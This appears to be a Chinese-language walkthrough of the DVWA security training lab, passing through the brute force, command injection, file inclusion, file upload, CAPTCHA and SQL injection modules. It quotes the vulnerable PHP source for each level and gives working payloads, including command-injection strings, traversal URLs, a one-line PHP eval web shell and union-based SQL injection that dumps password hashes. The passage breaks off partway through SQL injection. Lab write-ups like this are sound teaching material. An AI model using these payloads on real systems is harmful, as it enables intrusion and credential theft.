DVWA-通关记录
文章目录
- Brute Force
-
- Low
- Medium
- High
- Impossible
- Command Injection
-
- Low
- Medium
- High
- Impossible
- File Inclusion
-
- Low
- Medium
- High
- Impossible
- File Upload
-
- Low
- Medium
- High
- Impossible
- Insecure CAPTCHA
-
- Low
- Medium
- High
- Impossible
- SQL Injection
-
- Low
- Medium
- High
- Impossible
- Weak Session IDS
-
- Low
- Medium
- High
- Impossible
- SQL Injection(Blind)
-
- Low
-
- bool方式
- Timing方式
- Medium
- High
- Impossible
- CSRF
-
- Low
- Medium
- High
- Impossible
- XSS
-
- XSS(DOM)
-
- Low
- Medium
- High
- Impossible
- XSS(Reflected)
-
- Low
- Medium
- High
- Impossible
- XSS(Stored)
-
- Low
- Medium
- High
- Impossible
- CSP Bypass
-
- Low
- Medium
- High
- Impossible
- JavaScript
-
- Low
- Medium
- High
- Impossible
Brute Force
Low
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
源码中对输入的密码进行了MD5加密，但是没有对username做任何处理，这里我通过SQL注入完成了登录操作，当然有点跑题了，主要还是通过爆破的方式，源码中也没有找到防暴力破解的策略，通过抓包开搞
通过burpsuite进行抓包，将抓到的请求鼠标右键选择send to intruder，在intruder的页面中选择positions只保留password=§§，移除其他绿色部分的§符号，选择payloads，在payload options页面添加弱口令，然后开始start attack，通过不同弱口令的返回长度来判断是否爆破成功
Medium
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
通过分析源码得出，对username和password都做了过滤，但是针对暴力破解这块只是加了失败之后等待两秒的逻辑，这个没发为难耐心的我们，只是爆破的等待时间变长了
High
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
这个级别的源码增加了token校验，通过几次请求发现token的确是随机变化，登录失败之后只是随机的停滞几秒，并没有做登录限制，这里就需要自己编写脚本进行爆破，可参考如下大神的操作:
https://www.cnblogs.com/linfangnan/p/13652761.html
总体思路就是通过爬虫去抓取页面中hidden的token，使用获取到的token进行登录爆破
Impossible
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "
This account has been locked due to too many incorrect logins.
";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "
";
print "The timenow is: " . date ("h:i:s", $timenow) . "
";
print "The timeout is: " . date ("h:i:s", $timeout) . "
";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked
";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "Welcome to the password protected area {$user}
";
echo "![](\"<span)
{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "Warning: Someone might of been brute forcing your account.
";
echo "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
该难度下对输入的字符做了严格过滤，同时增加了登录错误次数超出限制就锁定的逻辑，除此之外可以通过封禁恶意用户的IP来扩展这个防御
Command Injection
这块发生了一件很神奇的事情，就是我选择难度是low，但是输入IP之后就是不显示结果，通过查看源码也没什么问题，自己单独写了一个php文件用来复现ping的过程，也有正常的执行结果。修改了源码将执行命令改为ls，有能成功显示，怀疑是哪里有禁止策略，最后定位到selinux，关闭了之后正常执行这部分测试，完成测试后别忘了再开启
SELinux一共有3种状态，分别是Enforcing，Permissive和Disabled状态。
Enforcing状态的值是1，permissive状态是0
设置为permissive命令为：
setenforce 0或1
然后再查看当前状态：
getenforce
若要修改Disabled状态只能修改配置文件，配置文件位置：
/etc/selinux/config
Low
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}";
}
?>
源码中未对命令进行校验，可通过连接符进行命令拼接，在操作系统中，“&”、“&&”、“|”、“||”都可以作为命令连接符使用，可以用连接符后面接上其他指令来执行
& 表示任务在后台执行，如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时，才执行后一条命令 ，如 echo '1‘ && echo ‘2’
| 表示管道，上一条命令的输出，作为下一条命令参数，如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后，才执行下一条命令，如 cat nofile || echo “fail”
127.0.0.1 && ifconfig
Medium
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}";
}
?>
源码中对&&符号及；进行了替换空串，可采用其他连接符( &, |, || )
127.0.0.1 & ifconfig
127.0.0.1 | ifconfig
111 || ifconfig
High
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}";
}
?>
代码中增加了更多的黑名单连接符，但是在代码中存在一处瑕疵，对｜的替换多家了一个空格，所以还可以采用｜的方式进行攻击
127.0.0.1|ifconfig
Impossible
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}";
}
else {
// Ops. Let the user name theres a mistake
echo 'ERROR: You have entered an invalid IP.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
在这个级别下，进行了严格的输入限制，之前是基于黑名单的方式，现在是基于白名单的方式，只允许某些特定输出，比如必须为数字，并且手动拼接IP地址，确保执行的是一个IP地址，同时增加了token，提高了安全性
File Inclusion
Low
// The page we wish to display
$file = $_GET[ 'page' ];
?>
该级别没有进行任何过滤，通过浏览器的路径直接访问文件当成php文件执行，我们可以修改其路径，访问其他的页面
/DVWA/vulnerabilities/fi/?page=../../hackable/flags/fi.php
Medium
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
代码中对文件路径进行了过滤，但是可以通过双写过滤，或者通过不受影响的绝对路径
/DVWA/vulnerabilities/fi/?page=....//....//hackable/flags/fi.php
High
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代码中对文件的名称进行了过滤，但是通过通配符的形式，导致我们可以构造file://进行访问
/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/flags/fi.php
Impossible
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代码中对文件名称进行了严格的限制，只允许是固定的几个选项，这里是不是可以通过上传文件到该文件夹，然后进行同名覆盖，也起到了执行脚本的可能呢
File Upload
Low
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!";
}
}
?>
从源代码中可以分析出没有对上传的文件进行任何校验，上传一个木马
eval($_POST['ant']); ?>
通过中国蚁剑则可以正常连接上WebShell
Medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
basename(path,suffix) 函数返回路径中的文件名部分
path 必需, 规定要检查的路径
suffix 可选,规定文件扩展名,如果文件有 suffix，则不会输出这个扩展名
通过分析源码得出只对文件类型和文件大小做了校验，通过抓包修改Content-Type为目标值即可(image/jpeg或image/png)
上传成功后通过中国蚁剑连接即可
High
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置
getimagesize() 函数用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息
源码通过匹配文件后缀名及判断图片特点加强了过滤，此时可以通过将图片与php合并在一起上传
该命令只支持window
copy logo.jpg/b + high.php/a logo.jpg
该命令可在linux下使用
cat logo.jpg high.php > newLogo.jpg
由于上传的是图片，无法通过中国蚁剑直连
后面更新了文件包含那部分再更新这块
Impossible
Insecure CAPTCHA
Low
到这里的时候，你会发现上网的重要性
我在设置验证码的时候随便输入的私钥和公钥所以验证报错，不显示
但是如果不上网的话，是没办法验证的一直在加载中
我们的目的也是跳过验证码，那就开始搞吧
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
代码很长，通过审计发现，一共是分为两步骤，step为1时进行验证码校验，step为2时进行密码修改，但是第二步的时候没有进行其他校验，我们可以直接抓包修改step为2跳过验证码校验
Medium
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "
You have not passed the CAPTCHA.
";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
代码又是很长，发现逻辑基本和low难度差不多，分为认证和修改密码两步骤，但是在第一步认证之后增加了一个隐藏参数passed_captcha，因为这个参数也是在客户端的，我们可以控制，搞起，抓包后增加passed_captcha=true即可
High
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'Password Changed."; } else { // Ops. Password mismatch $html .= "
Both passwords must match."; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "
"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
The CAPTCHA was incorrect. Please try again.
代码依然很长，但是这次不像之前那样通过step进行，而是根据谷歌的验证结果来判断同时是否执行下一步，但是其中也有个逻辑是谷歌的验证结果resp为true或者参数 g-recaptcha-response 等于 hidd3n_valu3 并且 http 包头的 User-Agent 参数等于 reCAPTCHA 时认为验证正确，这两个参数是可以通过抓包控制的，直接搞起就行，我们没办法控制resp的结果，但是可以修改两外两个参数
Impossible
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "Password Changed.
";
}
else {
// Feedback for the end user - failed!
echo "Either your current password is incorrect or the new passwords did not match.
Please try again.
";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码中对SQL注入进行了过滤，需要在已知原密码的情况下进行密码修改，增加了csrf token
SQL Injection
Low
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 'ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
判断注入为字符型还是数字型，通过注入如下发现返回错误信息提示多了一个单引号，以此得出为字符型注入。
字符型与数字型最大的区别是，字符型需要单引号闭合，数字型不需要单引号闭合
1'
通过如下注入可以获得所有的用户名
1' or '1' = '1
虽然已经有源码了，但是这里加一步来判断SQL有几列可控，通过order by 及#，order by用来确定查询的语句里有几列，#用来注释掉后面的单引号
1' order by 1#
通过以上注入发现，当order by 3时出现错误，可知查询了两列
再使用如下，判断查询了哪两列参数，通过该步骤可以确定SQL为：
SELECT first_name, last_name FROM users WHERE user_id = $id
1' union select 1,2 #
通过 select database() 查询出数据库为dvwa
1' union select 1, database()#
通过如下注入查询表名为guestbook及users
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'#
通过如下注入查看users表中都有哪些字段，查询出users表的字段为user_id,first_name,last_name,user,password,avatar,last_login,failed_login
1' union select 1, group_concat(column_name) from information_schema.columns where table_name = 'users'#
通过如下注入，查出所有users表中的用户名及密码
1' or 1 = 1 union select group_concat(user_id), group_concat(password) from users#
Medium
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . 'ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
